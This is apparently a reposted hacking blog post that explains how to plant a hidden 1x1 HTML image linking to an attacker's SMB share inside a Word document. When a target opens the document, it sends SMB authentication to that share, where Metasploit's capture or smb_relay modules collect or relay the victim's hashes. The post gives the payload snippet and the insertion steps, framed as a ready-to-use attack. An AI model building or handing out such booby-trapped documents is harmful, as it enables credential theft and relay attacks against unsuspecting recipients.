Embeding A Link To A Network Share In A Word Doc

Taken from Carnal0wnage blog, this is an excellent method to embed network share in a word document.

snip snip .......

Someone asked me how to embed an HTML Link to an smb share into a word doc. End result would be to use the capture/server/smb or exploit/windows/exploit/smb/smb_relay modules. Easy right? Well it wasn't THAT easy...

In office 2010 when I'd go to pull in a picture to the document by adding a picture from a network share the picture would become part of the doc and not be retrieved every time the document opened. The solution was to add some html to the document.

I ended up addind the following code to the office document (replace "[" or "]" with "<" or ">":

[html][body][img src="\\\share\pwn.jpeg"
width=1 height=1][/body][html]
Once that is done go to insert-->object--text from file-->select your HTML file

Once that is done, save and open the document, if all is well you'll see the SMB requests to the network share you specified and if you are running the smb capture module you should see some traffic. Screenshot below shows the goods...I do realize the LM hashes are missing from smb capture screenie (disabled on windows 7?) but i was too lazy to install office on a VM just for the screenshot.

If this doesnt work for anyone let me know.
